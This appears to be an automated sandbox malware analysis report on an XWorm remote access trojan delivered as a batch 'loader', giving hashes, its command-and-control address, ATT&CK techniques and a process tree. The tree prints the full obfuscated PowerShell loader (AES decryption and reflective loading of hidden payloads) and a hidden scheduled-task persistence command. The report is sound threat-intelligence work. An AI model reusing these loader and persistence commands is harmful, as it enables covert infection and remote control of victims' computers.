xworm | f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473

Analysis

max time kernel
95s
max time network
139s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250217-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250217-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
04/03/2025, 03:26

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General

Target

Vclient3.12-loader.bat
Size

337KB
MD5

b0b26501fa33bc553f9a54ca28a89a85
SHA1

9f868d7d464375d1ea60c5234f4dd057ea85fce1
SHA256

f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473
SHA512

fcd9680de0ce271730f9cc5968d3172ed03e2463e53af66b19c898e7ac0e6c97717f8948d27e329f30f78ba051bb4a81acb4dc837ce602964e64470a6a0f3069
SSDEEP

6144:7rVhpfca9iHDDTI3nozeFFDNwPlxR+RG7PrwzZ0qw/FU1qBIEhY:dbaHDunIxoRWrOZ05U11EhY

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

45.88.91.55:8893

Attributes

Install_directory
%ProgramData%
install_file
sys-32.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2536-51-0x000001A823A40000-0x000001A823A72000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	2536	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3256	powershell.exe
4860	powershell.exe
2536	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983685854-559653692-675906587-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-983685854-559653692-675906587-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3256	powershell.exe
3256	powershell.exe
4860	powershell.exe
4860	powershell.exe
2536	powershell.exe
2536	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3256	powershell.exe
Token: SeDebugPrivilege	4860	powershell.exe
Token: SeIncreaseQuotaPrivilege	4860	powershell.exe
Token: SeSecurityPrivilege	4860	powershell.exe
Token: SeTakeOwnershipPrivilege	4860	powershell.exe
Token: SeLoadDriverPrivilege	4860	powershell.exe
Token: SeSystemProfilePrivilege	4860	powershell.exe
Token: SeSystemtimePrivilege	4860	powershell.exe
Token: SeProfSingleProcessPrivilege	4860	powershell.exe
Token: SeIncBasePriorityPrivilege	4860	powershell.exe
Token: SeCreatePagefilePrivilege	4860	powershell.exe
Token: SeBackupPrivilege	4860	powershell.exe
Token: SeRestorePrivilege	4860	powershell.exe
Token: SeShutdownPrivilege	4860	powershell.exe
Token: SeDebugPrivilege	4860	powershell.exe
Token: SeSystemEnvironmentPrivilege	4860	powershell.exe
Token: SeRemoteShutdownPrivilege	4860	powershell.exe
Token: SeUndockPrivilege	4860	powershell.exe
Token: SeManageVolumePrivilege	4860	powershell.exe
Token: 33	4860	powershell.exe
Token: 34	4860	powershell.exe
Token: 35	4860	powershell.exe
Token: 36	4860	powershell.exe
Token: SeIncreaseQuotaPrivilege	4860	powershell.exe
Token: SeSecurityPrivilege	4860	powershell.exe
Token: SeTakeOwnershipPrivilege	4860	powershell.exe
Token: SeLoadDriverPrivilege	4860	powershell.exe
Token: SeSystemProfilePrivilege	4860	powershell.exe
Token: SeSystemtimePrivilege	4860	powershell.exe
Token: SeProfSingleProcessPrivilege	4860	powershell.exe
Token: SeIncBasePriorityPrivilege	4860	powershell.exe
Token: SeCreatePagefilePrivilege	4860	powershell.exe
Token: SeBackupPrivilege	4860	powershell.exe
Token: SeRestorePrivilege	4860	powershell.exe
Token: SeShutdownPrivilege	4860	powershell.exe
Token: SeDebugPrivilege	4860	powershell.exe
Token: SeSystemEnvironmentPrivilege	4860	powershell.exe
Token: SeRemoteShutdownPrivilege	4860	powershell.exe
Token: SeUndockPrivilege	4860	powershell.exe
Token: SeManageVolumePrivilege	4860	powershell.exe
Token: 33	4860	powershell.exe
Token: 34	4860	powershell.exe
Token: 35	4860	powershell.exe
Token: 36	4860	powershell.exe
Token: SeIncreaseQuotaPrivilege	4860	powershell.exe
Token: SeSecurityPrivilege	4860	powershell.exe
Token: SeTakeOwnershipPrivilege	4860	powershell.exe
Token: SeLoadDriverPrivilege	4860	powershell.exe
Token: SeSystemProfilePrivilege	4860	powershell.exe
Token: SeSystemtimePrivilege	4860	powershell.exe
Token: SeProfSingleProcessPrivilege	4860	powershell.exe
Token: SeIncBasePriorityPrivilege	4860	powershell.exe
Token: SeCreatePagefilePrivilege	4860	powershell.exe
Token: SeBackupPrivilege	4860	powershell.exe
Token: SeRestorePrivilege	4860	powershell.exe
Token: SeShutdownPrivilege	4860	powershell.exe
Token: SeDebugPrivilege	4860	powershell.exe
Token: SeSystemEnvironmentPrivilege	4860	powershell.exe
Token: SeRemoteShutdownPrivilege	4860	powershell.exe
Token: SeUndockPrivilege	4860	powershell.exe
Token: SeManageVolumePrivilege	4860	powershell.exe
Token: 33	4860	powershell.exe
Token: 34	4860	powershell.exe
Token: 35	4860	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4388 wrote to memory of 2944	4388	cmd.exe	82
PID 4388 wrote to memory of 2944	4388	cmd.exe	82
PID 2944 wrote to memory of 4804	2944	net.exe	83
PID 2944 wrote to memory of 4804	2944	net.exe	83
PID 4388 wrote to memory of 3256	4388	cmd.exe	84
PID 4388 wrote to memory of 3256	4388	cmd.exe	84
PID 3256 wrote to memory of 4860	3256	powershell.exe	85
PID 3256 wrote to memory of 4860	3256	powershell.exe	85
PID 3256 wrote to memory of 1412	3256	powershell.exe	90
PID 3256 wrote to memory of 1412	3256	powershell.exe	90
PID 1412 wrote to memory of 2820	1412	WScript.exe	91
PID 1412 wrote to memory of 2820	1412	WScript.exe	91
PID 2820 wrote to memory of 4900	2820	cmd.exe	93
PID 2820 wrote to memory of 4900	2820	cmd.exe	93
PID 4900 wrote to memory of 4788	4900	net.exe	94
PID 4900 wrote to memory of 4788	4900	net.exe	94
PID 2820 wrote to memory of 2536	2820	cmd.exe	95
PID 2820 wrote to memory of 2536	2820	cmd.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4388
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:4804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IvmgzXjQuMVka6TfIyG1HvCr7DfXZYnR3O8Q3T8SJgE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbClhals/5qz6aDu+zXVpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aNToN=New-Object System.IO.MemoryStream(,$param_var); $rAzqO=New-Object System.IO.MemoryStream; $bDCjb=New-Object System.IO.Compression.GZipStream($aNToN, [IO.Compression.CompressionMode]::Decompress); $bDCjb.CopyTo($rAzqO); $bDCjb.Dispose(); $aNToN.Dispose(); $rAzqO.Dispose(); $rAzqO.ToArray();}function execute_function($param_var,$param2_var){ $Wdwoi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fjmwH=$Wdwoi.EntryPoint; $fjmwH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat';$vmyBp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat').Split([Environment]::NewLine);foreach ($lpWSJ in $vmyBp) { if ($lpWSJ.StartsWith(':: ')) { $jqVvs=$lpWSJ.Substring(3); break; }}$payloads_var=[string[]]$jqVvs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_39_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_39.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4860
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_39.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1412
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_39.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2820
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4900
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:4788
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IvmgzXjQuMVka6TfIyG1HvCr7DfXZYnR3O8Q3T8SJgE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbClhals/5qz6aDu+zXVpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aNToN=New-Object System.IO.MemoryStream(,$param_var); $rAzqO=New-Object System.IO.MemoryStream; $bDCjb=New-Object System.IO.Compression.GZipStream($aNToN, [IO.Compression.CompressionMode]::Decompress); $bDCjb.CopyTo($rAzqO); $bDCjb.Dispose(); $aNToN.Dispose(); $rAzqO.Dispose(); $rAzqO.ToArray();}function execute_function($param_var,$param2_var){ $Wdwoi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fjmwH=$Wdwoi.EntryPoint; $fjmwH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_39.bat';$vmyBp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_39.bat').Split([Environment]::NewLine);foreach ($lpWSJ in $vmyBp) { if ($lpWSJ.StartsWith(':: ')) { $jqVvs=$lpWSJ.Substring(3); break; }}$payloads_var=[string[]]$jqVvs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2536

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
b9cd68b5f314b5190f27a211d3506df0

SHA1
60c891d9a3c857fda4b75576420a54d38054c544

SHA256
8908f5cb47ad8627c2af37f08e4f42734cb8dd761734d27fb7745ca522e0018e

SHA512
1565a76680cf17ec9426dacab318124ff6374243e19550616069cd1a6149f356bb6f90ea524fbddce2082631be85831d5cb3a118d53c2c15c82096100b5b6182

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9820605376b39dbdd48c6e3de2d2d0c3

SHA1
b717f9e8624e2b080cf6eab8c03ca7a215bee710

SHA256
f772222c53f64be53c292173d1a5df59291c0eec56081d9b3407a3779d2f45ef

SHA512
9d07cfe8b10b0afc9948e731ea3218924bc5276f32af668d317654a0d829435d377ca125a0d4d46004abe91c3b65c49d0b3ba2bd24d09c08fba5b92bfb0a45ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ohfjauji.ngj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_39.vbs

Filesize
114B

MD5
9409aca889b2312620ae9381eb8e4b4c

SHA1
617f48ba66a22b56adce636af88c955d6ece9403

SHA256
c1f8521fcd84e6ebb4a414d44b06673249e01fc77475aeb1be70ce987280170b

SHA512
d4fa1ea435730b1c01c153600ed362c09c860b4de5af541d7e308c7e999704d8150dd65e7f032f76d6c50dc88c627742110bee3ddad07f69b66e48dbd6c10c33

Download Submit
memory/2536-51-0x000001A823A40000-0x000001A823A72000-memory.dmp

Filesize
200KB

Download
memory/3256-12-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

Filesize
10.8MB

Download
memory/3256-14-0x0000026ED22D0000-0x0000026ED22D8000-memory.dmp

Filesize
32KB

Download
memory/3256-15-0x0000026ED22E0000-0x0000026ED2322000-memory.dmp

Filesize
264KB

Download
memory/3256-13-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

Filesize
10.8MB

Download
memory/3256-0-0x00007FFE14E93000-0x00007FFE14E95000-memory.dmp

Filesize
8KB

Download
memory/3256-11-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

Filesize
10.8MB

Download
memory/3256-10-0x0000026ED2040000-0x0000026ED2062000-memory.dmp

Filesize
136KB

Download
memory/3256-52-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

Filesize
10.8MB

Download
memory/4860-26-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

Filesize
10.8MB

Download
memory/4860-27-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

Filesize
10.8MB

Download
memory/4860-28-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

Filesize
10.8MB

Download
memory/4860-31-0x00007FFE14E90000-0x00007FFE15952000-memory.dmp

Filesize
10.8MB

Download